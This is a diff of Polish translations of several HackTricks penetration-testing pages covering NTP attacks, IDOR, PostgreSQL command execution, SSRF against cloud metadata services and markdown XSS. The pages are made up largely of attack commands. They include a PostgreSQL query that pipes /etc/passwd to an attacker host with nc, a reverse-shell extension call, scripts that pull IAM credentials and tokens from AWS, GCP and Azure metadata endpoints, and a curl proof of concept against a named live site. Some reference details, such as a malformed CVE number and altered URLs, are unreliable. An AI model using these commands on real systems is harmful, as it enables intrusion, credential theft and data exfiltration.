### 2. Ataki na przesunięcie czasu / opóźnienie (badania Khronos / Chronos)
Nawet przy uwierzytelnieniu, atakujący na ścieżce może cicho **przesunąć zegar klienta** poprzez gubienie/opóźnianie pakietów. Projekt IETF **Khronos (dawniej Chronos)** proponuje zapytanie do różnorodnego zestawu serwerów w tle i sprawdzanie wyników, aby wykryć przesunięcie > 𝚡 ms. Nowoczesny chrony (4.4+) już implementuje podobny filtr sanity (``maxdistance`` / ``maxjitter``). citeturn9search1
Nawet przy uwierzytelnieniu, atakujący na ścieżce może cicho **przesunąć zegar klienta** poprzez gubienie/opóźnianie pakietów. **Khronos (dawniej Chronos)** IETF proponuje zapytanie do różnorodnego zestawu serwerów w tle i sprawdzanie wyników, aby wykryć przesunięcie > 𝚡 ms. Nowoczesny chrony (4.4+) już implementuje podobny filtr sanity (``maxdistance`` / ``maxjitter``).
### 3. Nadużycie NTS i ekspozycja 4460/tcp
@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
# Grab banner & ALPN
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
```
Szukaj certyfikatów samopodpisanych lub wygasłych oraz słabych zestawów szyfrujących (non-AEAD). Referencja: RFC 8915 §4. citeturn11search0
Szukaj certyfikatów samopodpisanych lub wygasłych oraz słabych zestawów szyfrujących (non-AEAD). Odniesienie: RFC 8915 §4.
---
## Wzmacnianie / Najlepsze aktualne praktyki (BCP-233 / RFC 8633)
@ -122,12 +122,12 @@ Szukaj certyfikatów samopodpisanych lub wygasłych oraz słabych zestawów szyf
*Operatorzy POWINNI:*
1. Używać **≥ 4** niezależnych, różnorodnych źródeł czasu (publiczne pule, GPS, mosty PTP), aby uniknąć zanieczyszczenia z jednego źródła.
2. Włączyć ograniczenia ``kod`` oraz ``limited``/``nomodify``, aby klienci nadużywający otrzymywali pakiety **Kiss-o'-Death** z ograniczeniem prędkości zamiast pełnych odpowiedzi.
2. Włączyć ograniczenia ``kod`` oraz ``limited``/``nomodify``, aby klienci nadużywający otrzymywali pakiety limitujące **Kiss-o'-Death** zamiast pełnych odpowiedzi.
3. Monitorować logi demona pod kątem zdarzeń **panic** lub dostosowań kroków > 1000 s. (Podpisy ataku zgodnie z RFC 8633 §5.3.)
4. Rozważyć **leap-smear**, aby uniknąć przerw związanych z sekundą przestępną, ale upewnić się, że *wszyscy* klienci downstream używają tego samego okna smarowania.
5. Utrzymywać polling ≤24 h, aby nie przegapić flag sekund przestępnych.
Zobacz RFC 8633, aby uzyskać kompleksową listę kontrolną. citeturn8search0turn8search1
Zobacz RFC 8633, aby uzyskać kompleksową listę kontrolną.
---
## Shodan / Censys Dorks
@ -144,7 +144,7 @@ port:4460 "ntske" # NTS-KE
| ``ntpwn`` | Wrapper dla script-kiddie do rozprzestrzeniania zapytań monlist i peers | ``python ntpwn.py --monlist targets.txt`` |
| **zgrab2 ntp** | Masowe skanowanie / wyjście JSON z flagą monlist | Zobacz powyższe polecenie |
| ``chronyd`` z ``allow`` | Uruchomienie nieautoryzowanego serwera NTP w laboratorium pentestowym | ``chronyd -q 'server 127.127.1.0 iburst'`` |
| ``BetterCap`` | Wstrzykiwanie pakietów NTP do ataku MITM na Wi-Fi z przesunięciem czasowym | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
| ``BetterCap`` | Wstrzykiwanie pakietów NTP do ataku MITM z przesunięciem czasowym na Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
---
## Automatyczne Komendy HackTricks
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
---
## Odniesienia
- RFC 8915 *Bezpieczeństwo Czasu Sieciowego dla Protokółu Czasu Sieciowego* (port 4460) citeturn11search0
- RFC 8633 *Protokół Czasu Sieciowego BCP* citeturn8search0
- Raport Cloudflare DDoS 2024 Q4 (5.6 Tbps) citeturn5search0
- Artykuł Cloudflare *Atak Amplifikacji NTP* citeturn5search1
- NTP 4.2.8p15 seria CVE 2023-04 citeturn1search4
- Wpisy NVD **CVE-2023-2655155**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
- Aktualizacja zabezpieczeń SUSE chrony 2024 (chrony 4.5) citeturn2search2
- Projekt Khronos/Chronos (łagodzenie przesunięcia czasowego) citeturn9search1
- Podręcznik chronyc/przykłady do zdalnego monitorowania citeturn3search0turn10search1
- Dokumentacja modułu ntp zgrab2 citeturn7search0
- RFC 8915 *Bezpieczeństwo Czasu Sieciowego dla Protokółu Czasu Sieciowego* (port 4460)
- RFC 8633 *Protokół Czasu Sieciowego BCP*
- Raport Cloudflare DDoS 2024 Q4 (5.6 Tbps)
- Artykuł Cloudflare *Atak Amplifikacyjny NTP*
- NTP 4.2.8p15 seria CVE 2023-04
- Wpisy NVD **CVE-2023-2655155**, **CVE-2023-33192**
- Aktualizacja zabezpieczeń SUSE chrony 2024 (chrony 4.5)
- Projekt Khronos/Chronos (łagodzenie przesunięcia czasowego)
- Podręcznik chronyc/przykłady do zdalnego monitorowania
- Dokumentacja modułu ntp zgrab2
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,86 @@
{{#include ../banners/hacktricks-training.md}}
**Sprawdź post: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojawia się, gdy punkt końcowy webowy lub API ujawnia lub akceptuje identyfikator kontrolowany przez użytkownika, który jest używany **bezpośrednio** do uzyskania dostępu do wewnętrznego obiektu **bez weryfikacji, czy wywołujący ma uprawnienia** do uzyskania dostępu/modyfikacji tego obiektu.
Udana eksploitacja zazwyczaj pozwala na poziomą lub pionową eskalację uprawnień, taką jak odczyt lub modyfikacja danych innych użytkowników, a w najgorszym przypadku na pełne przejęcie konta lub masową eksfiltrację danych.
---
## 1. Identyfikacja potencjalnych IDOR-ów
1. Szukaj **parametrów, które odnoszą się do obiektu**:
* Ścieżka: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Zapytanie: `?id=42`, `?invoice=2024-00001`
* Ciało / JSON: `{"user_id": 321, "order_id": 987}`
* Nagłówki / Ciasteczka: `X-Client-ID: 4711`
2. Preferuj punkty końcowe, które **odczytują lub aktualizują** dane (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Zauważ, gdy identyfikatory są **sekwencyjne lub przewidywalne** jeśli twój ID to `64185742`, to `64185741` prawdopodobnie istnieje.
4. Zbadaj ukryte lub alternatywne przepływy (np. *"Członkowie zespołu Paradox"* link na stronach logowania), które mogą ujawniać dodatkowe API.
5. Użyj **uwierzytelnionej sesji o niskich uprawnieniach** i zmień tylko ID **zachowując ten sam token/ciasteczko**. Brak błędu autoryzacji jest zazwyczaj oznaką IDOR.
### Szybkie ręczne manipulacje (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Zautomatyzowana enumeracja (Burp Intruder / pętla curl)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. Studium przypadku z rzeczywistego świata Platforma Chatbota McHire (2025)
Podczas oceny portalu rekrutacyjnego **McHire** opartego na Paradox.ai odkryto następujące IDOR:
* Endpoint: `PUT /api/lead/cem-xhr`
* Autoryzacja: cookie sesji użytkownika dla **dowolnego** konta testowego restauracji
* Parametr ciała: `{"lead_id": N}` 8-cyfrowy, **sekwencyjny** identyfikator numeryczny
Poprzez zmniejszenie `lead_id` tester uzyskał dostęp do pełnych danych osobowych **wszystkich** aplikantów (imię, e-mail, telefon, adres, preferencje zmian) oraz konsumenckiego **JWT**, który umożliwiał przejęcie sesji. Wykonanie enumeracji w zakresie `1 64,185,742` ujawniło około **64 milionów** rekordów.
Żądanie dowodu koncepcji:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Połączone z **domyślnymi danymi logowania administratora** (`123456:123456`), które umożliwiły dostęp do konta testowego, luka ta doprowadziła do krytycznego naruszenia danych w całej firmie.
---
## 3. Wpływ IDOR / BOLA
* Eskalacja pozioma odczyt/aktualizacja/usunięcie danych **innych użytkowników**.
* Eskalacja pionowa użytkownik o niskich uprawnieniach zyskuje funkcjonalność tylko dla administratorów.
* Masowe naruszenie danych, jeśli identyfikatory są sekwencyjne (np. identyfikatory wnioskodawców, faktury).
* Przejęcie konta poprzez kradzież tokenów lub resetowanie haseł innych użytkowników.
---
## 4. Środki zaradcze i najlepsze praktyki
1. **Wymuszaj autoryzację na poziomie obiektów** dla każdego żądania (`user_id == session.user`).
2. Preferuj **pośrednie, nieprzewidywalne identyfikatory** (UUIDv4, ULID) zamiast identyfikatorów autoinkrementacyjnych.
3. Wykonuj autoryzację **po stronie serwera**, nigdy nie polegaj na ukrytych polach formularzy lub kontrolkach UI.
4. Wdrażaj kontrole **RBAC / ABAC** w centralnym middleware.
5. Dodaj **ograniczenia szybkości i logowanie** w celu wykrywania enumeracji identyfikatorów.
6. Testuj bezpieczeństwo każdego nowego punktu końcowego (jednostkowo, integracyjnie i DAST).
---
## 5. Narzędzia
* **Rozszerzenia BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Projekty Github**: `bwapp-idor-scanner`, `Blindy` (masowe poszukiwanie IDOR).
{{#include ../banners/hacktricks-training.md}}
## Odniesienia
* [McHire Chatbot Platform: Domyślne dane logowania i IDOR ujawniają PII 64M wnioskodawców](https://ian.sh/mcdonalds)
* [OWASP Top 10 Naruszenie kontroli dostępu](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [Jak znaleźć więcej IDOR-ów Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include /banners/hacktricks-training.md}}

View File

@ -8,13 +8,13 @@ PostgreSQL został opracowany z myślą o rozszerzalności jako kluczowej funkcj
Od wersji 8.1 wprowadzono szczególny wymóg dotyczący bibliotek rozszerzeń: muszą być kompilowane z użyciem specjalnego nagłówka. Bez tego PostgreSQL ich nie wykona, zapewniając, że używane są tylko kompatybilne i potencjalnie bezpieczne rozszerzenia.
Pamiętaj również, że **jeśli nie wiesz jak** [**przesłać pliki do ofiary wykorzystując PostgreSQL, powinieneś przeczytać ten post.**](big-binary-files-upload-postgresql.md)
Pamiętaj również, że **jeśli nie wiesz jak** [**przesyłać pliki do ofiary, wykorzystując PostgreSQL, powinieneś przeczytać ten post.**](big-binary-files-upload-postgresql.md)
### RCE w Linuxie
**Aby uzyskać więcej informacji, sprawdź: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Wykonanie poleceń systemowych z PostgreSQL 8.1 i wcześniejszych wersji jest procesem, który został jasno udokumentowany i jest prosty. Można to wykorzystać: [moduł Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
Wykonywanie poleceń systemowych z PostgreSQL 8.1 i wcześniejszych wersji jest procesem, który został jasno udokumentowany i jest prosty. Można to wykorzystać: [moduł Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Ten błąd jest wyjaśniony w [dokumentacji PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Aby upewnić się, że dynamicznie załadowany plik obiektowy nie jest ładowany do niekompatybilnego serwera, PostgreSQL sprawdza, czy plik zawiera „magiczny blok” z odpowiednią zawartością. Umożliwia to serwerowi wykrycie oczywistych niekompatybilności, takich jak kod skompilowany dla innej głównej wersji PostgreSQL. Magiczny blok jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć magiczny blok, napisz to w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:
> Aby upewnić się, że dynamicznie załadowany plik obiektowy nie jest ładowany do niekompatybilnego serwera, PostgreSQL sprawdza, czy plik zawiera „magiczny blok” z odpowiednią zawartością. Umożliwia to serwerowi wykrycie oczywistych niekompatybilności, takich jak kod skompilowany dla innej głównej wersji PostgreSQL. Magazyn magiczny jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć magiczny blok, napisz to w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
@ -90,7 +90,7 @@ Uzyskaj wersję PostgreSQL za pomocą:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
Aby zapewnić zgodność, kluczowe jest, aby główne wersje były zgodne. Dlatego kompilacja biblioteki z dowolną wersją w serii 9.6.x powinna zapewnić pomyślną integrację.
Aby zapewnić zgodność, kluczowe jest, aby główne wersje były zgodne. Dlatego kompilacja biblioteki z dowolną wersją w serii 9.6.x powinna zapewnić udaną integrację.
Aby zainstalować tę wersję w swoim systemie:
```bash
@ -170,7 +170,7 @@ Możesz znaleźć skompilowaną DLL w tym zipie:
pgsql_exec.zip
{{#endfile}}
Możesz wskazać tej DLL **który plik binarny wykonać** oraz liczbę razy, aby go wykonać, w tym przykładzie wykona `calc.exe` 2 razy:
Możesz wskazać tej DLL **który plik binarny wykonać** oraz liczbę jego wykonania, w tym przykładzie wykona `calc.exe` 2 razy:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
@ -264,9 +264,9 @@ Projekt [PolyUDF](https://github.com/rop-la/PolyUDF) jest również dobrym punkt
W **najnowszych wersjach** PostgreSQL nałożono ograniczenia, w których `superuser` jest **zabroniony** od **ładowania** plików bibliotek współdzielonych, z wyjątkiem określonych katalogów, takich jak `C:\Program Files\PostgreSQL\11\lib` w systemie Windows lub `/var/lib/postgresql/11/lib` w systemach \*nix. Te katalogi są **zabezpieczone** przed operacjami zapisu przez konta NETWORK_SERVICE lub postgres.
Pomimo tych ograniczeń, uwierzytelniony `superuser` bazy danych może **zapisywać pliki binarne** w systemie plików za pomocą "dużych obiektów." Ta zdolność obejmuje zapis w katalogu `C:\Program Files\PostgreSQL\11\data`, co jest niezbędne do operacji bazy danych, takich jak aktualizacja lub tworzenie tabel.
Pomimo tych ograniczeń, uwierzytelniony `superuser` bazy danych może **zapisywać pliki binarne** w systemie plików za pomocą "dużych obiektów." Ta możliwość obejmuje zapis w katalogu `C:\Program Files\PostgreSQL\11\data`, co jest niezbędne do operacji bazy danych, takich jak aktualizacja lub tworzenie tabel.
Znacząca luka wynika z polecenia `CREATE FUNCTION`, które **zezwala na przechodzenie przez katalogi** do katalogu danych. W związku z tym uwierzytelniony atakujący mógłby **wykorzystać to przejście**, aby zapisać plik biblioteki współdzielonej w katalogu danych, a następnie **załadować go**. To wykorzystanie umożliwia atakującemu wykonanie dowolnego kodu, osiągając wykonanie kodu natywnego w systemie.
Znacząca luka wynika z polecenia `CREATE FUNCTION`, które **zezwala na przechodzenie przez katalogi** do katalogu danych. W związku z tym uwierzytelniony atakujący mógłby **wykorzystać to przejście**, aby zapisać plik biblioteki współdzielonej w katalogu danych, a następnie **załadować go**. To wykorzystanie umożliwia atakującemu wykonanie dowolnego kodu, osiągając natywne wykonanie kodu w systemie.
#### Przebieg ataku
@ -283,8 +283,8 @@ select connect_back('192.168.100.54', 1234);
```
_Note, że nie musisz dodawać rozszerzenia `.dll`, ponieważ funkcja create doda je automatycznie._
Aby uzyskać więcej informacji, **przeczytaj**[ **oryginalną publikację tutaj**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
W tej publikacji **użyto tego** [**kodu do wygenerowania rozszerzenia postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_aby dowiedzieć się, jak skompilować rozszerzenie postgres, przeczytaj dowolną z wcześniejszych wersji_).\
Aby uzyskać więcej informacji, **przeczytaj**[ **oryginalną publikację tutaj**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
W tej publikacji **użyto tego** [**kodu do wygenerowania rozszerzenia postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_aby dowiedzieć się, jak skompilować rozszerzenie postgres, przeczytaj dowolną z wcześniejszych wersji_).\
Na tej samej stronie podano **eksploit do zautomatyzowania** tej techniki:
```python
#!/usr/bin/env python3

View File

@ -6,16 +6,16 @@
### Wykorzystywanie SSRF w środowisku AWS EC2
**Punkt końcowy metadanych** można uzyskać z wnętrza każdej maszyny EC2 i oferuje interesujące informacje na jej temat. Jest dostępny pod adresem: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Endpoint metadanych** można uzyskać z wnętrza każdej maszyny EC2 i oferuje interesujące informacje na jej temat. Jest dostępny pod adresem: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **dostęp** do punktu końcowego za pomocą **żądań GET** (więc każdy **SSRF może to wykorzystać**). W **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token**, wysyłając **żądanie PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokena, aby uzyskać dostęp do metadanych z innym nagłówkiem HTTP (więc jest **bardziej skomplikowane do wykorzystania** z SSRF).
Istnieją **2 wersje** endpointu metadanych. **Pierwsza** pozwala na **dostęp** do endpointu za pomocą **żądań GET** (więc każdy **SSRF może to wykorzystać**). Dla **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token**, wysyłając **żądanie PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokena, aby uzyskać dostęp do metadanych z innym nagłówkiem HTTP (więc jest **bardziej skomplikowane do wykorzystania** z SSRF).
> [!CAUTION]
> Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoków równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
>
> Ponadto, **IMDSv2** również **zablokuje żądania o token, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie dostępowi do niego przez źle skonfigurowane proxy odwrotne.
> Ponadto, **IMDSv2** również **zablokuje żądania o token, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie dostępowi do niego z niewłaściwie skonfigurowanych proxy odwrotnych.
Możesz znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się interesujące informacje z niego:
Możesz znaleźć informacje o [endpointach metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się interesujące informacje z niego:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -79,7 +79,7 @@ Jako **publicznie dostępny przykład ujawnionych poświadczeń IAM** możesz od
Możesz również sprawdzić publiczne **poświadczenia bezpieczeństwa EC2** w: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Możesz następnie wziąć **te poświadczenia i użyć ich z AWS CLI**. To pozwoli ci zrobić **wszystko, co ta rola ma uprawnienia** do zrobienia.
Następnie możesz wziąć **te poświadczenia i użyć ich z AWS CLI**. To pozwoli ci zrobić **wszystko, co ta rola ma uprawnienia** do zrobienia.
Aby skorzystać z nowych poświadczeń, musisz utworzyć nowy profil AWS, taki jak ten:
```
@ -94,7 +94,7 @@ Zauważ **aws_session_token**, jest to niezbędne do działania profilu.
### SSRF w AWS ECS (usługa kontenerowa) poświadczenia
**ECS** to logiczna grupa instancji EC2, na których możesz uruchomić aplikację bez konieczności skalowania własnej infrastruktury zarządzania klastrami, ponieważ ECS zarządza tym za Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych zmieniają się**.
**ECS** to logiczna grupa instancji EC2, na których możesz uruchomić aplikację bez konieczności skalowania własnej infrastruktury zarządzania klastrem, ponieważ ECS zarządza tym za Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych zmieniają się**.
Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\<GUID>**_, znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \<GUID>**. Aby znaleźć \<GUID>, musisz odczytać zmienną **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** wewnątrz maszyny.\
Możesz być w stanie to odczytać, wykorzystując **Path Traversal** do `file:///proc/self/environ`\
@ -102,7 +102,7 @@ Wspomniany adres http powinien dać Ci **AccessKey, SecretKey i token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> [!TIP]
> Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do **metadanych instancji EC2** z kontenera (sprawdź ograniczenia TTL IMDSv2 wspomniane wcześniej). W tych scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
### SSRF dla AWS Lambda
@ -143,11 +143,11 @@ Możesz [**znaleźć tutaj dokumentację na temat punktów końcowych metadanych
Wymaga nagłówka HTTP **`Metadata-Flavor: Google`** i możesz uzyskać dostęp do punktu końcowego metadanych za pomocą następujących adresów URL:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)
Interesujące punkty końcowe do wyodrębnienia informacji:
Interesujące punkty końcowe do wydobywania informacji:
```bash
# /project
# Project name and number
@ -232,14 +232,14 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> Aby **użyć wyekstrahowanego tokena konta usługi**, możesz po prostu zrobić:
> Aby **użyć wyekstrahowanego tokena konta usługi** możesz po prostu zrobić:
>
> ```bash
> # Poprzez zmienne środowiskowe
> # Via env vars
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Poprzez konfigurację
> # Via setup
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
@ -335,8 +335,8 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> ```bash
> az vm identity show \
> --resource-group <rsc-group> \
> --name <vm-name>
> --resource-group <rsc-group> \
> --name <vm-name>
> ```
>
> - Uzyskaj **przypisane tożsamości** używając domyślnej przypisanej MI w metadanych:
@ -346,20 +346,20 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> # Uzyskaj token z domyślnej MI
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Uzyskaj potrzebne szczegóły
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Spróbuj uzyskać przypisane MI
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Uzyskaj wszystkie** zdefiniowane tożsamości zarządzane w tenant i **brute force**, aby sprawdzić, czy którakolwiek z nich jest przypisana do VM:
@ -427,11 +427,14 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
### Azure App & Functions Services & Automation Accounts
> [!WARNING]
> Zauważ, że punkt końcowy **`http://169.254.169.254/metadata/v1/instanceinfo` nie wymaga nagłówka `Metadata: True`**, co jest świetne do pokazania wpływu na luki SSRF w Azure, gdzie nie możesz dodać tego nagłówka.
### Usługi Azure App & Functions oraz Konta Automatyzacji
Z **env** możesz uzyskać wartości **`IDENTITY_HEADER`** i **`IDENTITY_ENDPOINT`**. Możesz je wykorzystać do uzyskania tokena do komunikacji z serwerem metadanych.
Najczęściej potrzebujesz tokena dla jednego z tych zasobów:
Najczęściej chcesz uzyskać token dla jednego z tych zasobów:
- [https://storage.azure.com](https://storage.azure.com/)
- [https://vault.azure.net](https://vault.azure.net/)
@ -439,7 +442,7 @@ Najczęściej potrzebujesz tokena dla jednego z tych zasobów:
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> W żądaniach tokena użyj dowolnego z parametrów `object_id`, `client_id` lub `msi_res_id`, aby wskazać zarządzaną tożsamość, której chcesz użyć ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Jeśli żaden, **zostanie użyta domyślna MI**.
> W żądaniach tokena użyj dowolnego z parametrów `object_id`, `client_id` lub `msi_res_id`, aby wskazać zarządzaną tożsamość, którą chcesz użyć ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Jeśli żaden, **zostanie użyta domyślna MI**.
{{#tabs}}
{{#tab name="Bash"}}
@ -548,7 +551,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, dzięki którym można uzyskać informacje o konfiguracji i czasie działania instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych.
Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, za pomocą których można uzyskać dostęp do informacji konfiguracyjnych i uruchomieniowych dla instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych.
## Packetcloud
@ -556,7 +559,7 @@ Aby uzyskać dostęp do metadanych Packetcloud, dokumentację można znaleźć p
## OpenStack/RackSpace
Konieczność nagłówka nie jest wspomniana. Metadane można uzyskać przez:
Konieczność nagłówka nie jest tutaj wspomniana. Metadane można uzyskać przez:
- `http://169.254.169.254/openstack`

View File

@ -6,7 +6,7 @@ Jeśli masz możliwość wstrzyknięcia kodu w markdown, istnieje kilka opcji, k
### Tag HTML
Najczęstszym sposobem na uzyskanie XSS w markdown jest wstrzyknięcie powszechnych tagów HTML, które wykonują javascript, ponieważ kilka interpreterów markdown również akceptuje HTML.
Najczęstszym sposobem na uzyskanie XSS w markdown jest wstrzyknięcie powszechnych tagów HTML, które wykonują javascript, ponieważ kilka interpreterów markdown również zaakceptuje HTML.
```html
